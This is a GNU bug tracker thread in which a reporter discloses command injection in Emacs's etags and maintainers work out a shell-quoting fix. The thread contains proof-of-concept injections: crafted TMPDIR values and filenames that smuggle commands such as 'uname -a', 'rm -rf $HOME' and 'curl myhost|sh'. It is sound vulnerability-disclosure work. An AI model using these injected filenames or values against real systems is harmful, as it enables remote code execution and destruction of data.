GNU bug report logs -
#59817
[PATCH] Fix etags local command injection vulnerability
Previous Next
Reported by: lux <lx <at> shellcodes.org>
Date: Sun, 4 Dec 2022 13:52:01 UTC
Severity: normal
Tags: patch
Done: Eli Zaretskii <eliz <at> gnu.org>
Bug is archived. No further changes may be made.
To add a comment to this bug, you must first unarchive it, by sending
a message to control AT debbugs.gnu.org, with unarchive 59817 in the body.
You can then email your comments to 59817 AT debbugs.gnu.org in the normal way.
Toggle the display of automated, internal messages from the tracker.
Report forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Sun, 04 Dec 2022 13:52:01 GMT)
Full text and
rfc822 format available.
Acknowledgement sent
to
lux <lx <at> shellcodes.org>
:
New bug report received and forwarded. Copy sent to
bug-gnu-emacs <at> gnu.org
.
(Sun, 04 Dec 2022 13:52:01 GMT)
Full text and
rfc822 format available.
Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
Hi, this patch fix a new local command injection vulnerability in the
etags.c.
This vulnerability occurs in the following code:
#if MSDOS || defined (DOS_NT)
char *cmd1 = concat (compr->command, " \"", real_name);
char *cmd = concat (cmd1, "\" > ", tmp_name);
#else
char *cmd1 = concat (compr->command, " '", real_name);
char *cmd = concat (cmd1, "' > ", tmp_name);
#endif
free (cmd1);
inf = (system (cmd) == -1
? NULL
: fopen (tmp_name, "r" FOPEN_BINARY));
free (cmd);
}
Vulnerability #1:
for tmp_name variable, the value from the etags_mktmp() function, this
function takes the value from the environment variable `TMPDIR`, `TEMP`
or `TMP`, but without checking the value. So, if then hacker can
control these environment variables, can execute the shell code.
Attack example:
$ ls
etags.c
$ zip etags.z etags.c
adding: etags.c (deflated 72%)
$ tmpdir="/tmp/;uname -a;/"
$ mkdir $tmpdir
$ TMPDIR=$tmpdir etags *
sh: line 1: /tmp/: Is a directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
No such file or directory etags: skipping inclusion of TAGS in self.
Vulnerability #2:
If the target file is a compressed file, execute system commands (such
as gzip, etc.), but do not check the file name.
Attack example:
$ ls
etags.c
$ zip "';uname -a;'test.z" etags.c <--- inject the shell code to
filename
adding: etags.c (deflated 72%)
$ etags *
gzip: .gz: No such file or directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
command not found
I fix this vulnerability. By create a process, instead of call the
sh or cmd.exe, and this patch work the Linux, BSD and Windows.
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Sun, 04 Dec 2022 14:40:02 GMT)
Full text and
rfc822 format available.
Message #8 received at 59817 <at> debbugs.gnu.org (full text, mbox):
> Date: Sun, 4 Dec 2022 21:51:13 +0800
> From: lux <lx <at> shellcodes.org>
>
> Hi, this patch fix a new local command injection vulnerability in the
> etags.c.
>
> This vulnerability occurs in the following code:
>
> #if MSDOS || defined (DOS_NT)
> char *cmd1 = concat (compr->command, " \"", real_name);
> char *cmd = concat (cmd1, "\" > ", tmp_name);
> #else
> char *cmd1 = concat (compr->command, " '", real_name);
> char *cmd = concat (cmd1, "' > ", tmp_name);
> #endif
> free (cmd1);
> inf = (system (cmd) == -1
> ? NULL
> : fopen (tmp_name, "r" FOPEN_BINARY));
> free (cmd);
> }
>
> Vulnerability #1:
>
> for tmp_name variable, the value from the etags_mktmp() function, this
> function takes the value from the environment variable `TMPDIR`, `TEMP`
> or `TMP`, but without checking the value. So, if then hacker can
> control these environment variables, can execute the shell code.
>
> Attack example:
>
> $ ls
> etags.c
> $ zip etags.z etags.c
> adding: etags.c (deflated 72%)
> $ tmpdir="/tmp/;uname -a;/"
> $ mkdir $tmpdir
> $ TMPDIR=$tmpdir etags *
> sh: line 1: /tmp/: Is a directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
> No such file or directory etags: skipping inclusion of TAGS in self.
>
> Vulnerability #2:
>
> If the target file is a compressed file, execute system commands (such
> as gzip, etc.), but do not check the file name.
>
> Attack example:
>
> $ ls
> etags.c
> $ zip "';uname -a;'test.z" etags.c <--- inject the shell code to
> filename
> adding: etags.c (deflated 72%)
> $ etags *
> gzip: .gz: No such file or directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
> command not found
>
> I fix this vulnerability. By create a process, instead of call the
> sh or cmd.exe, and this patch work the Linux, BSD and Windows.
Thanks, but no, thanks. This cure is worse than the disease. Let's please
find simpler, more robust solutions. It TMPDIR is a problem, let's use a
file whose name is hard-coded in the etags.c source, or quote the name when
we pass it to the shell. If we suspect someone could disguise shell
commands as file names, let's quote the file names we pass to the shell with
'...' to prevent that. Etc. etc. -- let's use simple solutions that don't
drastically change the code.
Please understand: etags is a stable program. I'm not interested in changes
that modify its design or implementation in such drastic ways.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Sun, 04 Dec 2022 16:28:01 GMT)
Full text and
rfc822 format available.
Message #11 received at 59817 <at> debbugs.gnu.org (full text, mbox):
Eli Zaretskii <eliz <at> gnu.org> writes:
> Thanks, but no, thanks. This cure is worse than the disease. Let's please
> find simpler, more robust solutions. It TMPDIR is a problem, let's use a
> file whose name is hard-coded in the etags.c source, or quote the name when
> we pass it to the shell. If we suspect someone could disguise shell
> commands as file names, let's quote the file names we pass to the shell with
> '...' to prevent that. Etc. etc. -- let's use simple solutions that don't
> drastically change the code.
With single quotes, every single quote character also needs to be quoted
so you can't just use a file named "';rm -rf $HOME;'".
So you need to substitute every single quote character with something like
' => '"'"'
I'm not sure if tricks to escape it will remain, but "man sh" promises:
Single Quotes
Enclosing characters in single quotes preserves the literal meaning
of all the characters (except single quotes, making it impossible
to put single-quotes in a single-quoted string).
The safest option is to just not call system, of course.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Sun, 04 Dec 2022 17:05:02 GMT)
Full text and
rfc822 format available.
Message #14 received at 59817 <at> debbugs.gnu.org (full text, mbox):
> From: Stefan Kangas <stefankangas <at> gmail.com>
> Date: Sun, 4 Dec 2022 08:27:14 -0800
> Cc: 59817 <at> debbugs.gnu.org
>
> Eli Zaretskii <eliz <at> gnu.org> writes:
>
> > Thanks, but no, thanks. This cure is worse than the disease. Let's please
> > find simpler, more robust solutions. It TMPDIR is a problem, let's use a
> > file whose name is hard-coded in the etags.c source, or quote the name when
> > we pass it to the shell. If we suspect someone could disguise shell
> > commands as file names, let's quote the file names we pass to the shell with
> > '...' to prevent that. Etc. etc. -- let's use simple solutions that don't
> > drastically change the code.
>
> With single quotes, every single quote character also needs to be quoted
> so you can't just use a file named "';rm -rf $HOME;'".
Yes. But still, doing so is hardly rocket science, and it leaves the
general design of etags.c intact.
> The safest option is to just not call system, of course.
I'd rather not go there unless it was really necessary.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Mon, 05 Dec 2022 00:59:01 GMT)
Full text and
rfc822 format available.
Message #17 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
> Please understand: etags is a stable program. I'm not interested in
> changes that modify its design or implementation in such drastic ways.
I understand, but not completely agree, stable != security.
Why use the system() function? This is a lazy, insecure little trick,
the exec*(such as execvp) function should be used first. We need
execute a command, but we don't need execute a shell script.
Example a case, In my team, some people like automatically pull new
code from code server, and use etags update tags, so I secretly uploaded
a new file, the file name is:
$ touch "';curl myhost|sh #'a.z"
when he automatically update the tags, I hacking his computer.
So, I have two suggestions:
1. don't use system(), unless know what are doing.
2. escape all dangerous characters, just escaping quotes is not
enough, the following characters can perform additional actions:
"$(ls)"
"`ls`"
"${SHELL}"
"$SHELL"
I'm writing a new patch to escape dangerous characters, and test.
Thanks.
[Message part 2 (text/html, inline)]
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Mon, 05 Dec 2022 12:36:02 GMT)
Full text and
rfc822 format available.
Message #20 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Please use Reply All to keep the bug tracker CC'ed.]
> Date: Mon, 5 Dec 2022 08:56:43 +0800
> From: lux <lx <at> shellcodes.org>
>
> > Please understand: etags is a stable program. I'm not interested in
> > changes that modify its design or implementation in such drastic ways.
>
> I understand, but not completely agree, stable != security.
There are ways to plug the security holes in this case without completely
rewriting large parts of the code.
> Why use the system() function? This is a lazy, insecure little trick,
> the exec*(such as execvp) function should be used first. We need
> execute a command, but we don't need execute a shell script.
I think you have a very idealized view of the alternative APIs. They don't
share some disadvantages with 'system', but they have plenty of their own
ones. Especially on non-Posix systems.
> Example a case, In my team, some people like automatically pull new
> code from code server, and use etags update tags, so I secretly uploaded
> a new file, the file name is:
>
> $ touch "';curl myhost|sh #'a.z"
>
> when he automatically update the tags, I hacking his computer.
Quoting should fix that.
> So, I have two suggestions:
>
> 1. don't use system(), unless know what are doing.
I don't see a reason in this case to rewrite the code not to use 'system'.
> 2. escape all dangerous characters, just escaping quotes is not
> enough, the following characters can perform additional actions:
>
> "$(ls)"
> "`ls`"
> "${SHELL}"
> "$SHELL"
>
> I'm writing a new patch to escape dangerous characters, and test.
There's no reason to try detecting which characters are dangerous and which
aren't. We should instead quote all the file names that come from outside
of the program, so that what's inside the quotes is interpreted verbatim.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 07:57:02 GMT)
Full text and
rfc822 format available.
Message #23 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
On Mon, 05 Dec 2022 14:34:58 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:
> There's no reason to try detecting which characters are dangerous and
> which aren't. We should instead quote all the file names that come
> from outside of the program, so that what's inside the quotes is
> interpreted verbatim.
Thanks, this is new patch.
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 12:56:01 GMT)
Full text and
rfc822 format available.
Message #26 received at 59817 <at> debbugs.gnu.org (full text, mbox):
> Date: Tue, 6 Dec 2022 15:48:10 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: Stefan Kangas <stefankangas <at> gmail.com>, 59817 <at> debbugs.gnu.org
>
> @@ -1716,8 +1717,12 @@ process_file_name (char *file, language *lang)
> char *cmd1 = concat (compr->command, " \"", real_name);
> char *cmd = concat (cmd1, "\" > ", tmp_name);
> #else
> - char *cmd1 = concat (compr->command, " '", real_name);
> - char *cmd = concat (cmd1, "' > ", tmp_name);
> + char *new_real_name = escape_shell_arg_string (real_name);
> + char *new_tmp_name = escape_shell_arg_string (tmp_name);
> + char *cmd1 = concat (compr->command, " ", new_real_name);
> + char *cmd = concat (cmd1, " > ", new_tmp_name);
> + free (new_real_name);
> + free (new_tmp_name);
> #endif
The "MSDOS || DOS_NT" case also needs a small change:
> char *cmd = concat (cmd1, "\" > ", tmp_name);
This doesn't quote tmp_name; it should.
> +static char*
^^
There should be a space before "*".
> + if (*p == '\'')
> + {
> + new_str[i+1] = '\\';
> + new_str[i+2] = '\'';
> + new_str[i+3] = '\'';
> + i += 3;
I don't understand why you are adding ''\'' and not just \'. Wouldn't the
latter work for some reason?
Thanks.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 13:06:02 GMT)
Full text and
rfc822 format available.
Message #29 received at 59817 <at> debbugs.gnu.org (full text, mbox):
There is a shell_quote funtion in gnulib.
--
Andreas Schwab, SUSE Labs, schwab <at> suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE 1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 13:12:01 GMT)
Full text and
rfc822 format available.
Message #32 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
On Tue, 06 Dec 2022 14:55:09 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:
> The "MSDOS || DOS_NT" case also needs a small change:
>
> > char *cmd = concat (cmd1, "\" > ", tmp_name);
>
> This doesn't quote tmp_name; it should.
Because double quotes have been used here, I have not reproduced this
vulnerability in Windows, so I have not dealt:
$ touch "etags.c\" && ipconfig \".z"
$ ./etags.exe "etags.c\" && ipconfig \".z"
etags.c" && ipconfig ".z: Invalid argument
$ ./etags.exe *
etags.exe: skipping inclusion of TAGS in self.
etags.c" && ipconfig ".z: Invalid argument
> > +static char*
> ^^
> There should be a space before "*".
done.
>
> > + if (*p == '\'')
> > + {
> > + new_str[i+1] = '\\';
> > + new_str[i+2] = '\'';
> > + new_str[i+3] = '\'';
> > + i += 3;
>
> I don't understand why you are adding ''\'' and not just \'.
> Wouldn't the latter work for some reason?
>
Because the single quote escape is: '\''
$ echo ''\''hello world'\'''
'hello world'
$ echo 'I'\''m a poor man'
I'm a poor man
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 14:34:02 GMT)
Full text and
rfc822 format available.
Message #35 received at 59817 <at> debbugs.gnu.org (full text, mbox):
> From: Andreas Schwab <schwab <at> suse.de>
> Cc: Eli Zaretskii <eliz <at> gnu.org>, Stefan Kangas <stefankangas <at> gmail.com>,
> 59817 <at> debbugs.gnu.org
> Date: Tue, 06 Dec 2022 14:05:16 +0100
>
> There is a shell_quote funtion in gnulib.
I know. But we don't import that module, AFAICT.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 14:54:02 GMT)
Full text and
rfc822 format available.
Message #38 received at 59817 <at> debbugs.gnu.org (full text, mbox):
> Date: Tue, 6 Dec 2022 21:11:35 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
>
> On Tue, 06 Dec 2022 14:55:09 +0200
> Eli Zaretskii <eliz <at> gnu.org> wrote:
>
> > The "MSDOS || DOS_NT" case also needs a small change:
> >
> > > char *cmd = concat (cmd1, "\" > ", tmp_name);
> >
> > This doesn't quote tmp_name; it should.
>
> Because double quotes have been used here
The double quotes are only around real_name, but not around tmp_name. One
of the issues you originally described was a bogus value of the TEMP
environment variable, which gets used in etags_mktmp that produces tmp_name.
> I have not reproduced this
> vulnerability in Windows, so I have not dealt:
>
> $ touch "etags.c\" && ipconfig \".z"
> $ ./etags.exe "etags.c\" && ipconfig \".z"
> etags.c" && ipconfig ".z: Invalid argument
Windows file names cannot include quote characters, so don't use them. And
it's TEMP value that you need to tweak, not the file names etags scans.
> > I don't understand why you are adding ''\'' and not just \'.
> > Wouldn't the latter work for some reason?
> >
>
> Because the single quote escape is: '\''
>
> $ echo ''\''hello world'\'''
> 'hello world'
> $ echo 'I'\''m a poor man'
> I'm a poor man
I don't understand why you need an extra pair of quotes in the expanded
string.
$ echo \''hello; world'
'hello; world
As you see, the semi-colon was successfully hidden from the shell.
What am I missing?
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 15:07:01 GMT)
Full text and
rfc822 format available.
Message #41 received at 59817 <at> debbugs.gnu.org (full text, mbox):
>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
> $ echo \''hello; world'
> 'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?
That only works at the beginning or end of a string. In general, inside a single-quoted string, single quotes are not allowed. So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '
If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 15:20:01 GMT)
Full text and
rfc822 format available.
Message #44 received at 59817 <at> debbugs.gnu.org (full text, mbox):
>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
> $ echo \''hello; world'
> 'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?
That only works at the beginning or end of a string. In general, inside a single-quoted string, single quotes are not allowed. So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '
If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.
Information forwarded
to
bug-gnu-emacs <at> gnu.org
:
bug#59817
; Package
emacs
.
(Tue, 06 Dec 2022 15:50:02 GMT)
Full text and
rfc822 format available.
Message #47 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
On Tue, 06 Dec 2022 16:52:40 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:
> Windows file names cannot include quote characters, so don't use
> them. And it's TEMP value that you need to tweak, not the file names
> etags scans.
Thank you, fixed.
> I don't understand why you need an extra pair of quotes in the
> expanded string.
>
> $ echo \''hello; world'
> 'hello; world
>
> As you see, the semi-colon was successfully hidden from the shell.
>
> What am I missing?
$ echo Emacs > "'hello'world"
$ cat '\''hello\''world' <---- use \'', error
cat: '\hello\world': No such file or directory
$ cat ''\''hello'\''world' <---- use '\''
Emacs
You can also refer to:
1.
https://stackoverflow.com/questions/48970174/escape-single-quote-in-command-argument-to-sh-c
2. And I found a similar function in PHP:
$ cat test.php
<?php
echo escapeshellarg("'hello'world");
$ php test.php
''\''hello'\''world'
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]
Reply sent
to
Eli Zaretskii <eliz <at> gnu.org>
:
You have taken responsibility.
(Tue, 06 Dec 2022 16:16:02 GMT)
Full text and
rfc822 format available.
Notification sent
to
lux <lx <at> shellcodes.org>
:
bug acknowledged by developer.
(Tue, 06 Dec 2022 16:16:02 GMT)
Full text and
rfc822 format available.
Message #52 received at 59817-done <at> debbugs.gnu.org (full text, mbox):
> Date: Tue, 6 Dec 2022 23:49:05 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
>
> >From d1dd12396b7d99ff93e6a846c96ae600addac847 Mon Sep 17 00:00:00 2001
> From: lu4nx <lx <at> shellcodes.org>
> Date: Tue, 6 Dec 2022 15:42:40 +0800
> Subject: [PATCH] Fix etags local command injection vulnerability
>
> * lib-src/etags.c:
>
> (escape_shell_arg_string): New function.
Thanks, installed with some minor changes.
bug archived.
Request was from
Debbugs Internal Request <help-debbugs <at> gnu.org>
to
internal_control <at> debbugs.gnu.org
.
(Wed, 04 Jan 2023 12:24:05 GMT)
Full text and
rfc822 format available.
This bug report was last modified 2 years and 50 days ago.
Previous Next
GNU bug tracking system
Copyright (C) 1999 Darren O. Benham,
1997,2003 nCipher Corporation Ltd,
1994-97 Ian Jackson.